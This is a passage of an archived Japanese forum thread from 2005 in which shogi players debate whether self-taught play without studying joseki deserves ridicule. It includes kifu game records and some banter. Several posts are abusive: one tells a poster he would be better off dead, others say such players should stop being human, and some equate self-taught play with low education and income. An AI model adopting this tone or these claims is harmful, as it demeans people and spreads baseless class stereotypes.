563 :名無し名人:2005/05/02(月) 12:51:38 ID:NwVhdtwn
自己流は「勝てれば良い」と言い訳をする。
しかし、自己流が馬鹿にされるのは、自己流であることそれ自体ではない。

本を読んで学ぶ習慣を身につけなかったこと、
そして、それゆえに高度に知的専門的な職業につけないことを馬鹿にされているのだ。

564 :ランドル ◆B9bFiLbf8U :2005/05/02(月) 14:54:38 ID:gmqubIlk
自己流さいこう

565 :名無し名人:2005/05/02(月) 20:18:13 ID:cC3MhcF6
ガキの頃指してた道場で、振り飛車に対して何が何でも飛車先から金を繰り出して来るおっさんがいたなぁ。
まあ皆にいいようにカモられてたんだけど、ああいうのって見てて微笑ましいよな。
たまにはああいう人も居ないと面白くないよ。

566 :名無し名人:2005/05/04(水) 04:43:18 ID:oxv2yWcw
乱戦にして「相手がミスすればラッキー」みたいな将棋指す馬鹿見てると殺意をおぼえる。
藤井システムとかゴキゲンみたいに研究しても致命的な欠陥がない戦法なら良いが、
単なるデタラメ将棋指すやつは、将棋はもちろんだが人間そのものをやめろと言いたい。

567 :名無し名人:2005/05/04(水) 20:00:18 ID:yOzJoNUh
>>566
きっちり潰してやれ!!

間違っても調子に乗らせるような馬鹿な負け方すんなよ

568 :名無し名人:2005/05/04(水) 20:44:21 ID:bMNFVMk1
早い話、1が弱いくせに負けた理由を別のところに求めてるんだろ

ばかだな1は
死んだほうが良いよ生きてても意味ないし

569 :名無し名人:2005/05/04(水) 22:40:57 ID:r8utjN97
山崎はかなり嫌われるという事でいいのか?

570 :名無し名人:2005/05/05(木) 05:06:23 ID:cQgofjzF
適当にナンパして「相手が気に入ればラッキー」みたいなナンパする馬鹿見てると殺意をおぼえる。
ホストとか宗教勧誘みたいに研究しても致命的な欠陥がない方法なら良いが、
単なるデタラメナンパするやつは、女に声かけるのはもちろんだが人間そのものをやめろと言いたい。

こんな感じか。

571 :名無し名人:2005/05/05(木) 05:11:10 ID:cQgofjzF
ホストとか宗教勧誘 → 話術とかセックステク 
に訂正した方がいいかも


572 :名無し名人:2005/05/18(水) 12:56:21 ID:n14jVPiP
69玉金取る

573 :名無し名人:2005/05/18(水) 13:06:18 ID:j8+LTQx+
>>566そうか?
花村みたいに、対振り飛車相手に金銀3枚前線に送り込んで
捌き封じるような将棋観た時俺は感動さえ覚えたがな。
まるで2枚落ちの上手が下手の大ゴマ圧迫するような感じで。
自玉が薄くなるから相当腕に自信が無いと出来ない

574 :名無し名人:2005/05/18(水) 13:12:47 ID:3z0U04SB
         ,,-―--、
        |:::::::::::::;;;ノ  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
        |::::::::::( 」 < 将棋というのは(ry
        ノノノ ヽ_l   \______________
       ,,-┴―┴- 、    ∩_
     /,|┌-[]─┐| \  (  ノ
      / ヽ| |  バ  | '、/\ / /
     / `./| |  カ  |  |\   /
     \ ヽ| lゝ    |  |  \__/
     \ |  ̄ ̄ ̄   |
      ⊂|______|
       |l_l i l_l |
       |   ┬    |


575 :名無し名人:2005/05/18(水) 19:44:04 ID:uSWTGjeU
 >>1
低学歴をバカにするな

576 :名無し名人:2005/05/19(木) 09:29:26 ID:Mf6c0Ph2
>強くても弱くてもむかつく。

単に負けて悔しいだけか。

577 :名無し名人:2005/05/21(土) 16:45:53 ID:QUBMBbrd
誤解されがちだが、自己流が馬鹿にされるのは弱いからとかではない。
序盤の数手を暗記する根性すらないやつが人間として存在していることが問題なのだ。
将棋を指すなと言っているのではなく、人間をやめろと言っているのだ。

578 :名無し名人:2005/05/21(土) 17:06:58 ID:a2P6xKG4
>>577
早石田を頑張って研究してる
早石田オンリーのヤツはOKってことだな。

579 :名無し名人:2005/05/21(土) 17:08:51 ID:0d4qmFI/
数手を自分で深く考える根性すらなく「暗記」だけに頼ってる奴のほうが問題

580 :名無し名人:2005/05/21(土) 18:07:24 ID:ebmRZxqJ
▲7六歩△3四歩▲7五歩△4二玉▲7八飛△8八角成▲同銀△4五角▲7四歩△同歩▲5五角
あるいは
▲7六歩△3四歩▲2六歩△3五歩▲6八玉△3二飛▲2二角成△同銀▲6五角△3六歩▲同歩△5五角
みたいな奴が多いのは何故だろう
そんなに飛車にこだわる理由が分からない
序盤は角の方が使いやすいし馬作れて一歩特して打ち込みの隙がない方が指しやすいはずなのに
yahoo将棋に特にこういうくだらない子供じみた戦法を連採する奴が多い
毎回ボロ負けにさせてやってるけど

581 :名無し名人:2005/05/21(土) 18:11:17 ID:1ZipgG+a
毎回ボロ負けにさせてやってるけど

582 :名無し名人:2005/05/21(土) 19:55:26 ID:NpmzT0Y3
毎回ボロ負けにさせてやってるけど

583 :名無し名人:2005/05/22(日) 03:30:41 ID:okPKiIYE
>>580
石田流という戦法が存在することは知っていても、
正確な知識がないから馬鹿なことをやるんだろう。
おそらく、公式も定理も知らないのに物理や数学の試験を受験するような馬鹿な連中。

584 :名無し名人:2005/05/22(日) 03:36:41 ID:okPKiIYE
将棋だけ努力不足なら、そんなに馬鹿にする理由はない。
しかし、基本定跡すら学ぼうとしない連中は、人生全般に関して努力が足りないことが多い。
本人たちはそのことに全く気がつかず、「どうして馬鹿にされるのだろう?」と考えているのかも知れないが。

585 :名無し名人:2005/05/22(日) 06:03:47 ID:ezfEwItE
>>584
将棋馬鹿ハッケン
晒しage( ´,_ゝ`)

586 :名無し名人:2005/05/22(日) 12:42:24 ID:0agEGOdM
公式や定理を暗記しただけで物理や数学を勉強したと思いこんでる連中

587 :名無し名人:2005/05/22(日) 14:42:53 ID:FzMhjLMN
升田は子供時代あまりに算数ができなくて教師に馬鹿にされ
それで頭に来て必死に考えて独自の公式を編みだして問題を解いて見せたそうだしな。

588 :名無し名人:2005/05/22(日) 16:25:51 ID:gUpMfSuH
定跡だけに頼るのはよくないが最低限の基本的な定跡を覚えようとしないのは問題あるな
覚えてて当たり前の定跡や手筋などは少なからずある

589 :名無し名人:2005/05/22(日) 17:08:18 ID:glHk41Ep
つーかイイ理論やイイ手の意味を覚えることに意味があるんで
自己流で勝てる奴は実戦で十分それを覚えれるんだろ。うらやましい
嫉妬という意味ではむかつくな。

590 :名無し名人:2005/05/23(月) 06:14:54 ID:ty0V1fpn
奇襲して、切れたら終わりって奴が一番アホに見える。

591 :名無し名人:2005/05/23(月) 20:09:19 ID:XeauZnZ4
>>580
4間に振れば
なんともならないのにな。
まあたとえ3間にふっても、、その変化は島ノートの定跡にあるよ。
別に居飛車良しというわけではない。
それで振り側が不利になるのだと決めてるようなら、
単に今までの相手が振り飛車の勉強不足だし、
君も知識不足だな。

592 :すげー:2005/05/23(月) 20:33:13 ID:pNCuLhrc
開始日時:05/05/03 12:38:17
棋戦:レーティング対局室(早指し)
先手:kotochan
後手:SONAEguy

▲9八香 △3四歩 ▲9九角 △8四歩 ▲8八銀 △8五歩 ▲7九金 △9四歩
▲5八金 △8六歩 ▲同 歩 △同 飛 ▲8七歩 △8二飛 ▲6八金寄 △9五歩
▲5八玉 △6二銀 ▲4八銀 △5四歩 ▲5六歩 △5三銀 ▲5七銀 △6四銀
▲6六歩 △4二銀 ▲6七金 △3三銀 ▲7六歩 △4四銀 ▲7八金 △5二飛
▲7七銀 △7四歩 ▲6八銀左 △7三桂 ▲7七桂 △5五歩 ▲同 歩 △5六歩
▲同 銀 △5五銀左 ▲同 銀 △同 銀 ▲5七歩 △6六銀 ▲同 金 △同 角
▲6七銀打 △4四角 ▲7五歩 △6四金 ▲7四歩 △同 金 ▲4五銀 △2二角
▲3四銀 △3二金 ▲2六歩 △3八歩 ▲2五歩 △3九歩成 ▲2四歩 △2九と
▲同 飛 △2四歩 ▲同 飛 △7六歩 ▲2三銀成 △同 金 ▲同飛成 △7七歩成
▲同 角 △同角成 ▲2一龍 △6二玉 ▲7七金 △6五桂 ▲8三角 △7二銀
▲7四角成 △7七桂成 ▲同 銀 △1二角 ▲8四馬 △7三歩 ▲7四桂 △5三玉
▲6五桂 △5四玉 ▲2四龍 △4四歩 ▲5五金 △同 玉 ▲6六馬
まで95手で先手の勝ち


593 :名無し名人:2005/05/23(月) 20:40:58 ID:sM7ggTZE
ことちゃんはよくやる
穴角だと、たまにしか勝てないけどたまに勝つw
穴角って角が働く時気持ちいいんだよね

594 :名無し名人:2005/05/30(月) 02:57:28 ID:cEWUj4wu
将棋を覚えたばっかの人は定跡を覚えないほうがいいと思う。
定跡は自己流で指しては勝てないなと思ったときに覚えるのが
一番いい。


595 :名無し名人:2005/05/30(月) 07:13:30 ID:BLbiqc72
>>594
朗同。
定跡を覚えるのって楽しいし、強くなった気になれるんだけど
定跡の力で中盤までにコツコツ稼いだポイントを、ポロポロ
こぼしてしまう「ザル」な終盤力しかないと、結局定跡覚える
意味ってないんだよね。正確に言うと、中盤までに築いた優位を
終局まで無事に送り届けられる最低限の「輸送力」込みじゃないと
定跡“だけ”を覚えても片手落ちなんだよね。

七手詰以上は解ける必要ないから、五手詰までは逃さず詰ませる位の
「読みの基礎体力」さえ身につけとけば、そこで初めて定跡書を紐解いても
初心のうちから定跡書読むのに比べれば圧倒的に呑み込みが早くなってる
から二度手間にもならないで済むんだよね。ぜひ、お試しあれ。

596 :超自己流のプロ発見:2005/05/30(月) 22:28:49 ID:DeNwryGQ
開始日時:58/09/05
棋戦:九段戦
戦型:四間飛車
後手:灘 蓮照
先手:大山康晴

▲7六歩 △8四歩 ▲7八銀 △3四歩 ▲6六歩 △6二銀 ▲6八飛 △7四歩
▲4八玉 △5四歩 ▲3八玉 △4二銀 ▲6七銀 △5三銀左 ▲7七角 △1四歩
▲2八玉 △8五歩 ▲3八銀 △7二金 ▲5八金左 △3二金 ▲1六歩 △5二玉
▲9六歩 △2四歩 ▲4六歩 △3五歩 ▲4七金 △7三桂 ▲7八銀 △8一飛
▲2六歩 △2三金 ▲2七銀 △3四金 ▲3八金 △6四歩 ▲5六歩 △6三銀
▲6九銀 △6二玉 ▲5八銀 △4四歩 ▲9七香 △3三角 ▲5七銀 △4二角
▲8八飛 △8三金 ▲5九角 △8四金 ▲7八飛 △7二玉 ▲9五歩 △6二銀
▲3六歩 △同 歩 ▲同 銀 △3五歩 ▲2七銀 △5三角 ▲4八銀 △3三桂
▲3七銀 △4一飛 ▲4八角 △8三玉 ▲5八飛 △2五歩 ▲同 歩 △7五歩
▲2四歩 △2一飛 ▲7五歩 △2四飛 ▲2六歩 △2一飛 ▲7八飛 △9四歩
▲同 歩 △9五歩 ▲6五歩 △同 歩 ▲7四歩 △同 銀 ▲8四角 △同 玉
▲5二金 △6四角 ▲6二金 △6七角 ▲7九飛 △7八歩 ▲5九飛 △4五歩
▲7五歩 △同 角 ▲5七金 △7六角成 ▲7七歩 △8七馬 ▲7六銀 △5七角成
▲同 飛 △8六馬 ▲5二角 △2四飛 ▲5五歩 △4六歩 ▲5六飛 △8三金
▲4六飛 △4五歩 ▲5六飛 △2五歩 ▲6七銀 △5三馬 ▲6一角成 △2六歩
▲同銀左 △2五歩 ▲3七銀 △7九歩成 ▲4四歩 △同 金 ▲6四歩 △2一飛
▲8三馬 △同 玉 ▲6三金打 △4二馬 ▲7二金寄 △8四角 ▲9五香 △9二歩
▲5四歩 △2六歩 ▲同銀左 △5二歩 ▲5三歩成 △同 歩 ▲3四歩 △同 金
▲5四歩 △8九と ▲5三歩成 △5五歩 ▲7六飛 △7五歩 ▲9六飛 △4一馬
▲4二歩
まで153手で先手の勝ち


597 :名無し名人:2005/06/06(月) 20:27:08 ID:UVanK2bh
>>583
アマの将棋は序盤で決まりにくいし読む力さえあれば
相手に追随する程度の序盤力なら実戦で付くよ。

598 :名無し名人:2005/06/07(火) 12:10:56 ID:qpUrh+Qm
>>595
(20−級位)/4手もしくは(段位*2+5)手
これを10分でとけなくては恥
奨励会や育成会など辛口道場はこの限りではない


599 :名無し名人:2005/06/07(火) 12:15:18 ID:gy6GghTI
道場の棋力だと、なんか調度よさそうな式だね。

600 :女性棋士 ◆HU7XfvOYA2 :2005/06/07(火) 17:33:17 ID:5n3XZ+dI
>>598-599
24でもそれでいけるね

601 :女性棋士 ◆HU7XfvOYA2 :2005/06/07(火) 23:28:15 ID:IKoXG2zH
>>600補足
奨励会だと18−級/2か18+段位というべきなのかな?

602 :女性棋士 ◆jvBtlIEUc6 :2005/06/20(月) 19:17:10 ID:/YRB95Ym
>>600-601
それはないだろ

603 :名無し名人:2005/06/20(月) 19:21:05 ID:3WC5IgFH
アホみたいな奇襲して負けても恥ずかしいと思わないのかな?

604 :はずかしさは:2005/06/20(月) 22:50:03 ID:SBpfSHHY
>>603君の存在と同じくらい
ということでよろしく


605 :名無し名人:2005/06/21(火) 00:29:14 ID:zUY/ohmT
そもそも定跡が正しいかどうか分からないよ
一度定跡を疑ってみることを薦めたい

606 :名無し名人:2005/06/21(火) 00:35:24 ID:ptSfPBym
疑うヒマがあったら覚えろ。

607 :名無し名人:2005/06/21(火) 01:10:15 ID:zUY/ohmT
↑低旧社

608 :名無し名人:2005/06/21(火) 01:12:24 ID:ptSfPBym
>>607
605のようなことを言う、低級は間違いなくお前じゃんw

609 :名無し名人:2005/06/21(火) 01:15:15 ID:28ePd1bD
言い訳厨房だらけのスレってここですか

610 :名無し名人:2005/06/21(火) 01:25:57 ID:DGyjUoky
定跡なんてのはしょせん他人の指した棋譜のなぞりなんだから
それを盲目的にくり返したって面白くも何ともないだろうよ。
自分の流儀でドカンとぶちかまし、頭でっかちの
定跡マニュアル野郎を粉砕してスカッとすること以上に
気持ちのいいことってあるかい?

611 :名無し名人:2005/06/21(火) 01:28:33 ID:zUY/ohmT
>>608
悪いけど高段

612 :名無し名人:2005/06/21(火) 04:33:06 ID:c9XO3v3r
知ってないとどうしようもない形もあるけど知らなくたってどうにかなるもんだしな。

613 :名無し名人:2005/06/21(火) 06:17:43 ID:+XKzDVDy
>>610
楽しみ方は人それぞれ

614 :名無し名人:2005/06/21(火) 07:12:21 ID:c9XO3v3r
超自己流が不満ならキッチリ咎めて足腰立たんようにしてやればいいんではないかと。

615 :名無し名人:2005/06/21(火) 15:49:56 ID:ptSfPBym
>>611
悪いけど俺も高段。

616 :名無し名人:2005/06/21(火) 16:01:13 ID:X59pc75j
>>614
きっちり咎められないからこそ、>>1は悔しがってるんじゃないの?
出鱈目な陣形をあっさり料理できる棋力があれば、こんなスレが立つことはない。

617 :名無し名人:2005/06/21(火) 16:05:11 ID:zUY/ohmT
>>615
嘘付け

618 :名無し名人:2005/06/21(火) 16:08:49 ID:ptSfPBym
>>617
お前がウソだろw

619 :名無し名人:2005/06/21(火) 16:23:14 ID:6DPtGLs7
今は序盤から優越をつけに行く将棋だからな!!矢倉にせよ全てが定石がされまた
年々将棋はスピード化しているからな。だから将棋始めた奴も序盤の駒組みを
覚えな話にならんからめちゃくちゃ指してると思うよ。

620 :名無し名人:2005/06/21(火) 17:27:20 ID:zUY/ohmT
>>618
嘘じゃねえよ
これが証拠
http://kur0nek0.web.infoseek.co.jp/obon/04/index.html

621 :名無し名人:2005/06/21(火) 20:28:24 ID:ptSfPBym
>>620
↓自己流スレでのこの発言は何だよこら。

539 名前:名無し名人[] 投稿日:2005/06/21(火) 16:12:15 ID:zUY/ohmT
俺の場合3段から3級までRが動くから当てにならない
本気モードで調子がいいとき三段で、適当モード苦手戦法3級って感じかな
あと上に挑戦しつづければRは上がるし、下ばかり受けると下がりまくる
まじでRって当てにならないと思ったわけ

最高Rのがよっぽど実力を表してる


上級もしくは低段じゃねーか!w


622 :名無し名人:2005/06/21(火) 20:28:55 ID:ptSfPBym
あ、上級スレだ

623 :名無し名人:2005/06/21(火) 21:11:00 ID:NZajP6RM
620はマイクラ。無害。

624 :名無し名人:2005/06/21(火) 21:15:53 ID:c9XO3v3r
>>620
隅から隅まで読んできたがお前の言う証拠とやらがわからん。
100字以内程度でまとめてくれ。

625 :名無し名人:2005/07/03(日) 06:37:14 ID:ANOsD8FU
序盤って中終盤と違って腐るほど本があるし、
ある程度基本的なことは覚えておくことが推奨されている。
本を数冊、そんなに真剣にならないでざっと読み流すだけでも
極端に非常識な序盤は指さないはず。
にもかかわらず、序盤を完全に自己流で指すというのは
いかにも偏差値低そうで馬鹿っぽい。
普通に努力すればできることをやろうとしないのは、将棋が強い弱い以前の問題。

626 :名無し名人:2005/07/03(日) 07:37:30 ID:GH4+VGuk
>>625
意味不明だなw
強い弱い以前の問題って・・・・

無勉強の段位者>>>>>>>>>勤勉な級位者

627 :名無し名人:2005/07/04(月) 22:13:02 ID:xCk1BJRg
どうでもいいが>>1は低学歴

628 :名無し名人:2005/07/04(月) 23:15:59 ID:kNk92J1g
ていうか>>1は低所得
ちょっとでも会社が悪いことや気に食わないことしてるだけで
文句言って首か辞表だすタイプ

629 :名無し名人:2005/07/05(火) 04:26:53 ID:MZ2rYO5a
超我流でそれなりに指せるようになる→早石田や鬼殺しに叩き潰されて勉強し始める
→定跡に含まれた手筋や考え方に目から鱗ウマー これが普通のルートだと思う

630 :名無し名人:2005/07/05(火) 04:33:56 ID:li8FOPt9
まだ壁にぶち当たってない人に1はボコボコにされたってことだろう

631 :名無し名人:2005/07/05(火) 05:12:49 ID:pgXicqs1
「無理が通れば道理が引っ込む」咎められないやつが悪いw


完全な自己流に負けるなら定石なぞって優勢とされる局面迎えてもそこから度々、引っくり返されてんぢゃね?


暗記したところで定石から外れた時とか本がこれで優勢で打ち切った局面から勝てないなら勉強したことならねーよ。

そもそも最新形がどーの以前に応手間違えないように汁!
理解もせん内にあれこれ定石暗記するから超自己流に負けるんだろw

632 :名無し名人:2005/07/05(火) 11:06:37 ID:L4OTEqE3
定跡本って嘘が多いよ
単に古い場合もあるが新刊でも結構嘘が多い
あまり盲目的に覚えない方がいいかと

633 :名無し名人:2005/07/05(火) 11:37:46 ID:XnvQeWuE
そういう人も存在してないと将棋ツマランし。
>>1は応用が利かずに下級者に負けちゃうタイプでしょ?w

634 :名無し名人:2005/07/05(火) 14:52:33 ID:rgEDrsHX
一間飛車とか石田流とかで、全然攻めてこないで飛車を歩の上で
左右に走らせているだけの奴って、頭が悪い奴が多そう。

635 :女性棋士 ◆Hp17aNs7O2 :2005/07/05(火) 15:13:48 ID:927vvm+q
>>634
そういう奴からは勝ってから一言いうに限る

『今度の大会も同じ組(予選)だと有難いな』

636 :名無し名人:2005/07/05(火) 16:19:17 ID:zgdp/srl
634は勝てないからグチってるんじゃないか。
無理を言ってやるな。

637 :名無し名人:2005/07/21(木) 19:29:35 ID:GyTV0N4/
>>635
本当のことは言っちゃダメだよ

638 :名無し名人:2005/07/28(木) 22:13:33 ID:pLlDRrCY
原始棒銀とかに勝つと、「安直な戦法に勝ってもうれしくないねぇ」と言う。
または、「将棋だけじゃなくて人生全体をなめてるんだろうね」と言う。

639 :名無し名人:2005/07/28(木) 22:44:37 ID:dGsXmcfT
おまいら将棋で食ってないならつまらん将棋すんなよ

640 :名無し名人:2005/07/29(金) 02:36:14 ID:gGjjEDee
たしか森内は「全然見たことのない戦法をされたらこっちの勝ちだと
思え」とアマにアドバイスしていると言っていたな。

641 :名無し名人:2005/07/31(日) 04:38:35 ID:MPNtDrFB
ひがみにしか聞こえない 消防の1乙!

642 :名無し名人:2005/07/31(日) 19:00:48 ID:eCy15k8Q
プロにも力戦系の将棋しか指さない中川みたいなのがいるな。

643 :名無し名人:2005/08/01(月) 21:56:08 ID:+ab+xiv5
アマチュアの自己流が馬鹿にされるのって、
ほとんどの場合、勉強量が少ないせいで自己流になってるだけだからだろ。
プロの自己流とは意味が違う。
そういう連中が定跡を知っててあえてそういう将棋を指してるのかといえば
決してそうではない。

644 :名無し名人:2005/08/01(月) 21:57:06 ID:+ab+xiv5
ようするに、そういう人間は将棋以外もいい加減な可能性が高い。
おそらく学歴も低いだろうし、高度に知的専門的な職業でもないだろう。

645 :名無し名人:2005/08/01(月) 22:04:51 ID:o+w0lVr7
攻めが切れたら終わりって奴が多すぎる、受けるのめんどくせーって感じだな。一発狙いしかしてない。

646 :名無し名人:2005/08/01(月) 22:51:12 ID:29Y5EfOW
>>644 高度な知的専門職ですわ 20代で1000万越え

  聞かせてくださいよあなたの経歴を

647 :名無し名人:2005/08/02(火) 00:08:30 ID:aSlFxKM5
自己流で弱い奴は見苦しい。
けど懲りてないなら自己流のまま突っ走ってても別にいいんじゃない?
迷惑かけるわけでなし。
自己流を認めないなんて風潮作ったらますます将棋は滅びてしまうし

648 :名無し名人:2005/08/02(火) 00:23:51 ID:kouk5MdP
新定跡も最初はアマの自己流から生まれるんだよ

649 :名無し名人:2005/08/02(火) 01:47:33 ID:MA2wg9w8
超自己流に負けた記憶ないから
全くの創意工夫でそいつが戦法考えたって言ったら、自分より遥かに頭良いかもと思うかもなぁ。
最新形に詳しい人とか、普通に定石戦で作戦負けする相手には、単にそいつのが勉強してるだけ。強いねだけだろ?


自分より頭が良いだろうとか高学歴だろうとか、ましてや頭脳を求められる職に就いているに違いない!なんぞ思ったこと無いなw

もし、感想戦だかで「一連の理路整然とした指し手から素晴らしい頭脳をお持ちだと感じました。きっと会社でも要職を任せられてるんでしょう?」等と宣うやつに出くわしたら、、、基地害かよwと失笑するのは間違いないw

650 :649:2005/08/02(火) 01:52:25 ID:MA2wg9w8
変換ミス。×定石○定跡でしたw

651 :名無し名人:2005/08/02(火) 03:15:45 ID:B6zjDOZ4
>最新形に詳しい人とか、普通に定石戦で作戦負けする相手には、単にそいつのが勉強してるだけ。強いねだけだろ?

そういう勉強が普通にできる人はたいてい高学歴なんだが。
で、高学歴であれば頭脳を求められる職に就いている確率は高いんだが。

652 :649:2005/08/02(火) 06:11:07 ID:g7eSd64G
そうか?オレ、高校の時に全国大会に何度か出たが以外と俗にいう偏差値高い進学高の割合高くなかったがw
オレは普通の大学しか出てないけどオレと同県・同年代で定跡型で強いやつは二人とも高卒。
で、どちらかと言えば力戦形のやつは現役で東大行ったゾw

まぁ、オレの周りには対象少ないから定跡勉強してる=高学歴の関連性を完全否定する気は無いが、定跡勉強してるやつが高学歴で頭脳を要する職に就いてる確率が高いと信じるに値する資料ある?


オレの場合、履歴書に何度か将棋で全国大会何位と書いてたがスルーした面接官のが、ずっと多かったよw

将棋強くなるには定跡を覚えるは同意だが、定跡覚えて将棋強いやつを頭が良い!と短絡的に評価する人間は少ないだろ?
少なくとも予想ってことなら
将棋を研究して強豪になった人間は常人より頭が良く高学歴の率が高いか?
の問いに対して、絶対にそう思うという意見がマジョリティを占める訳がないと思うね。
アマ連や24のレーティング上位100位だか200位くらいまでの職業、役職とか発表して事実そうならオレも世間の人に、強豪は頭脳明晰な場合が多いよって断言出来るけどねw

653 :名無し名人:2005/08/02(火) 06:34:08 ID:6jXiWwQR
俺の経験上将棋を真摯に勉強する奴はほぼ例外無く実社会において努力できるタイプ
だがしかし悲しいかな人間には適性というものがあるので
>将棋を研究して強豪になった人間は常人より頭が良く高学歴の率が高いか
この問いに関してはノーだろうな

ただ「将棋に関して自己流かついい加減なまま十何年も続けてる人間は常人より頭が悪く低学歴の率が高い」とは言えると思う

654 :名無し名人:2005/08/02(火) 07:15:37 ID:zkmZH68p
定石を知らずに自己流で強い人 → 学歴は低くても、人生に成功する人。

自己流に負ける定石オタ>>1 → 学歴は高いかも知れないが、発想力ゼロ。
自分より低学歴な人にもどんどん抜かれていって唯一心の拠り所である学歴に
異常に執着するようになる。


つーか将棋に学歴なんて何の関係もないじゃんw


655 :名無し名人:2005/08/02(火) 07:17:04 ID:5KhpJtLM
ぶっちゃけ、自己流っていっても普通に定跡知ってる奴多いけどな
ずっと自己流でていうのは低級中級だろ

656 :名無し名人:2005/08/02(火) 07:20:42 ID:Cn/m4OXn
自己流→定跡を知らない→頭が悪い→低学歴、という考えは偏差値厨
の妄想だろ。
プロだって三間飛車オンリーとかゴキゲンオンリーとかがいるし、
藤井システムとか田中寅のウソ矢倉とかも自己流だ。
自己流=得意戦法、だな。
最新流行型に振り回されるだけが能ではない。

657 :631:2005/08/02(火) 07:29:27 ID:XdZVL7nA
う〜ん、そんな気もしないでもないが、所詮、将棋はゲームだからなぁ。
将棋の強さは、入れ込み具合いが一番、影響するっしょ。

年齢によっても上達の違いは有るが
それでも1日4〜5時間勉強するやつは
アマ4段程度にはなれるかと。還暦過ぎててもね。

逆に強くなりたいと思ってるだけで
勉強は面倒くさい。或いは割ける時間自体が少ない。
あくまで趣味の一つに過ぎないから時間割くのは愚かしいけど暇潰しには丁度良い。

十数年もやってるけど定跡一つ覚えない
って人の理由考えてみたらこんなもん?w
頭良くても強くなれないよねw一つ目の
該当者なら、まぁ低学歴多そうだが残り
二つなら分からないな。

因みにオレは現在は三番目だな。
事務職なんだが出世すると給与は高くなるが交際費も増え、拘束時間も増える上に
やりたくない仕事が増えるにも関わらず断りにくい出世は迷惑だなぁと思ってますw
あなたの経験から見た例外は、ここに居りますでぇ♪
…ま、少ないとは思うがレアな意見とは思わんよ。それだけに意外な結果出るかな?と誰かが資料載せてくれるの期待してたりするんだがw

658 :名無し名人:2005/08/02(火) 07:33:47 ID:51ZLsY3x
昨日、先手で早石田を4、5局やったけど
全部、相振りにされた・・・
後手でも3局相横歩を指したが、3局とも
すぐに定跡とは離れたな。

まぁ、しかし、俺の経験上はこんなもんだけど。
逆に、本に書いてある定跡通りに
指してくる方が少数派だよ。

659 :631:2005/08/02(火) 07:33:55 ID:XdZVL7nA
653へのレスね。アンカー打ち方知らない
ド素人でスマソw

660 :名無し名人:2005/08/02(火) 20:49:48 ID:aSlFxKM5
自己流ってまさに定跡に無い糊塗する奴でハ?
初手86歩とか。

661 :名無し名人:2005/08/02(火) 21:01:40 ID:j/t9nzFS
ここって定期的にあがるよな

662 :名無し名人:2005/08/03(水) 00:16:00 ID:thy8Q4EK
つーか、初心者の早石田とかって下品だよな。
攻めること以外なにも考えてなくて、局面荒して
「相手が間違えてくれればラッキー」程度の認識で指してる。
本当の初心者ならそれでも許されるが、
いつまでたってもそういう将棋指してる奴は人格に欠陥があるとしか思えない。

663 :名無し名人:2005/08/03(水) 00:46:57 ID:ON8v8x/y
そうかな
同じ戦法で序盤を固定して中終盤鍛えるという発送もありだと思うよ
県代表目指す段階になると、いろいろ勉強しないといかんが

664 :名無し名人:2005/08/03(水) 04:05:36 ID:pbmxp/my
相手が正確に指して攻めが切れたら即投げるような(>>662で挙げられてる例のような)奴に、鍛える中終盤なんかねーよ

665 :名無し名人:2005/08/03(水) 10:36:07 ID:CpI+QUDZ
>>662
別にいいじゃねーの?
一か八か、というのを楽しんでる奴も少なからずいると思うぞ
周りから見ると品がないかもしれないが、指してる本人が楽しければそれで十分だと思う
こんな小さなことで人格を問う奴の方がおかしい

と、言ってる俺は矢倉、横歩取りを得意とする超定跡派

666 :名無し名人:2005/08/03(水) 15:20:15 ID:thy8Q4EK
自己流→本読まない→勉強できない→低学歴→下級労働者→低所得者

これ常識。

667 :名無し名人:2005/08/03(水) 15:25:27 ID:ffdAAtpv
ダミアンの数字は避けねば

668 :名無し名人:2005/08/03(水) 17:26:33 ID:NqaxsPWE
自己流で強いこれ最強

669 :名無し名人:2005/08/05(金) 12:00:23 ID:inV6Ae3K
すんごい暑い
クーラーかけよっかな

670 :名無し名人:2005/08/05(金) 12:01:42 ID:inV6Ae3K
誤爆した

671 :名無し名人:2005/08/08(月) 18:39:34 ID:eJYhkhrL
将棋が自己流の人は、本読めない馬鹿だから、
コンピュータの利用方法もネットと文書作成だけだし、
受験の時には真面目に勉強しないし、
難関資格に挑戦しようとなんて絶対にしないし、
学ばなければ決してなれない知的職業には絶対につけない。

予備校講師「このようにして運動方程式が導かれる・・・」
自己流「俺、運動嫌いだから運動方程式なんて必要ないな。野球とかサッカー苦手だし、体育会系志望じゃないもんな」

教授「微小擾乱とはかくかくしかじか・・・」
自己流「美少女ウランって何?」

上司「今回のプロジェクトはC言語で行う」
自己流「C言語ってどこの国の言葉?」

自己流は人生の負け組w

672 :名無し名人:2005/08/08(月) 18:48:17 ID:4fBmfItF
>>671
C言語だけでいけるプロジェクトは別に大した物じゃないとおもう、
そのまえにC言語しらない人をやっと上司に責任あり。

673 :名無し名人:2005/08/08(月) 19:04:28 ID:JhLkXbBg
自己流を批判している奴って、単に定跡本どおりの局面が実戦で
滅多に出てこないことにイラついているだけだろ。
応用力のないマニュアル馬鹿という奴だな、

674 :名無し名人:2005/08/08(月) 19:15:15 ID:b5ktrvvv
>>672
たとえ話によくもまぁ。

675 :名無し名人:2005/08/08(月) 19:19:34 ID:BJMSu0Vs
例え話じゃなくてネタ話

676 :名無し名人:2005/08/08(月) 23:43:20 ID:BvFrs05V
たかだかゲームの中で思い通りに行かないくらいで、いらつくようじゃ教養も学歴も
何の役にも立ってない証拠。

677 :名無し名人:2005/08/09(火) 04:06:55 ID:paKNCpTW
自己流ってこういう奴じゃないの?
予備校講師「このようにして運動方程式が導かれる」
自己流「へえ、そうだったのか。知らなかったよ。俺はこのようにすれば
導けると思ってた」
予備校講師「な、何と!新発見だ!こんなより簡易で美しい導き方があったなんて!」
あと受験勉強もせずに結局受かってたりね。

678 :名無し名人:2005/08/09(火) 04:26:04 ID:az86GgeC
>>677
将棋で言ったら、そういうのは米長クラスだな。
「相掛かりの後手番で△2三歩は打ちたくない」
「角頭の歩を突いてみたい」
変態的着想をそのまま実戦に。
当然真似する人は殆どいない。

679 :名無し名人:2005/08/09(火) 04:28:22 ID:SAAdgVxm
>>659
1週間経過しても誰も釣られんようだから
僕が食いついてみよう。

シフトキー押しながら「る」を押すんだよ

680 :名無し名人:2005/08/09(火) 05:08:23 ID:5QnsJbMR
ぷw いまさら将棋に全力でもなかろうに

681 :659:2005/08/09(火) 05:30:31 ID:eSLV07Qu
679
ありがとうwでも毎回、携帯からだったり(^^;)

682 :名無し名人:2005/08/09(火) 21:26:45 ID:s5v5DEvU
>>677
